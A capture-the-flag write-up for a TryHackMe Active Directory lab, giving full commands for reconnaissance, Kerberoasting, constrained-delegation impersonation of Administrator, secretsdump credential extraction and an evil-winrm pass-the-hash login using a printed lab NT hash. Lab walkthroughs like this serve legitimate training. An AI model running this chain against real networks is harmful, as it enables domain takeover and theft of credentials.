alt text

Room Linkhttps://tryhackme.com/room/crocccrew
DifficultyInsane
Points120

Summary

This room is a full Active Directory attack simulation focused on realistic enterprise privilege escalation. We start with minimal external access, enumerate exposed services, and identify weak entry points into the network. After obtaining low-privileged AD credentials, we move into internal enumeration, discover misconfigurations in Kerberos Constrained Delegation, and exploit it to impersonate privileged users. From there, we extract NT hashes and Kerberos keys, gain full Domain Administrator access, and ultimately compromise the entire domain.

  • This writeup walks through each stage of the attack:
  • Service & Domain Enumeration
  • Identifying and using exposed credentials
  • SMB & LDAP enumeration
  • Kerberoasting to obtain service account credentials
  • Abuse of Constrained Delegation (S4U2Self & S4U2Proxy)
  • Extracting secrets via secretsdump
  • Achieving full Domain Admin access

If you’re studying Kerberos internals, realistic AD compromise paths, or red team post-exploitation, this room is an excellent hands-on challenge

Initial scan

Nmap

Command:

nmap -sC -sV -sS 10.10.236.0

Output:

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -sS 10.10.236.0            
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 14:46 IST
Stats: 0:03:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 14:49 (0:00:02 remaining)
Nmap scan report for 10.10.236.0
Host is up (0.24s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-04 09:19:45Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: COOCTUS.CORP0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: COOCTUS.CORP0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-06-04T09:22:02+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC.COOCTUS.CORP
| Not valid before: 2025-06-03T08:40:24
|_Not valid after:  2025-12-03T08:40:24
| rdp-ntlm-info:
|   Target_Name: COOCTUS
|   NetBIOS_Domain_Name: COOCTUS
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: COOCTUS.CORP
|   DNS_Computer_Name: DC.COOCTUS.CORP
|   Product_Version: 10.0.17763
|_  System_Time: 2025-06-04T09:19:57+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-06-04T09:19:58
|_  start_date: N/AService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 331.93 seconds

We can see there is a website running on port 80. Let’s try fuzzing it.


Web fuzzing

Command:

ffuf -u http://10.10.96.32/FUZZ -w /usr/share/wordlists/dirb/common.txt

Output (trimmed):

index.html              [Status: 200, Size: 5342323]
robots.txt              [Status: 200, Size: 70]

robots.txt

User-Agent: *
Disallow:
/robots.txt
/db-config.bak
/backdoor.php

Found: /db-config.bak — contains server credentials:

$servername = "db.cooctus.corp";
$username = "C00ctusAdm1n";
$password = "B4dt0th3b0n3";

Tried rpcclient — nothing interesting returned, then attempted RDP.


RDP and found credentials

RDP connect attempt:

rdesktop -f -u "" 10.10.23.38

RDP warned about an invalid certificate (self-signed). Connected and found credentials in the lockscreen wallpaper:

Visitor
GuestLogin!

Use these credentials for credential spray / access.


SMB access with credentials

CrackMapExec:

crackmapexec smb 10.10.23.38 -u Visitor -p GuestLogin! --users

Output shows COOCTUS.CORP\Visitor:GuestLogin! is valid.

Enumerating shares:

smbclient -L //10.10.23.38 -U "Visitor"

Accessible shares: ADMIN$, C$, Home, IPC$, NETLOGON, SYSVOL.

Access Home share:

smbclient //10.10.175.192/Home -U "Visitor"

Found user.txt:

THM{Gu3st_******}

LDAP / AD enumeration

Used enum4linux-ng and ldapdomaindump to dump AD details.

ldapdomaindump 10.10.175.192 -u "COOCTUS\Visitor" -p 'GuestLogin!'

Found password-reset account configured with TRUSTED_TO_AUTH_FOR_DELEGATION! — supports constrained delegation theory.


Kerberos — GetUserSPNs & Crack TGS

GetUserSPNs:

impacket-GetUserSPNs COOCTUS.CORP/Visitor:GuestLogin! -request -dc-ip 10.10.96.32 -outputfile TGS.txt

Returned SPN: HTTP/dc.cooctus.corp password-reset (constrained).

Cracked TGS with John:

john --wordlist=/usr/share/wordlists/rockyou.txt hash_crocc

Result: resetpassword cracked.


Delegation discovery and abuse

Find delegation:

impacket-findDelegation -debug COOCTUS.CORP/password-reset:resetpassword -dc-ip 10.10.96.32

Delegation rights to: oakley/DC.COOCTUS.CORP.

Get ST (impersonate Administrator):

impacket-getST -spn oakley/DC.COOCTUS.CORP -impersonate Administrator "COOCTUS.CORP/password-reset:resetpassword" -dc-ip 10.10.96.32

Saved ticket: Administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache.

Set the ticket for local usage:

export KRB5CCNAME=Administrator@oakley_DC.COOCTUS.CORP@COOCTUS.CORP.ccache

Added host entry for DC.COOCTUS.CORP to /etc/hosts:

10.10.175.192   DC.COOCTUS.CORP

Retrieving secrets (secretsdump)

Used impacket secretsdump with Kerberos ticket:

impacket-secretsdump -k -no-pass DC.COOCTUS.CORP

Key results (trimmed):

Administrator:500:...:add41095f1fb0405b32f70a489de022d:::
... (many domain accounts and Kerberos keys)

Administrator NT hash: add41095f1fb0405b32f70a489de022d.


Administrator access with Evil-WinRM

evil-winrm -i 10.10.96.32 -u Administrator -H 'add41095f1fb0405b32f70a489de022d'

Got Administrator shell.


Flags

User flag (from Home share):

THM{Gu3st_******}

Privilege escalation flags (found on system):

THM{0n-************-DA}
THM{Wh4t-t0-d0*******************}

Root flag:

Found in C:\PerfLogs\Admin\root.txt:

THM{Cr0cc*****************}

Conclusion

We enumerated the host, found web and RDP entry points, discovered credentials via an exposed backup file and RDP wallpaper, authenticated to SMB, enumerated AD, abused constrained delegation to impersonate Administrator, retrieved NT hashes and Kerberos keys with secretsdump, and obtained Administrator access to read flags.

The END.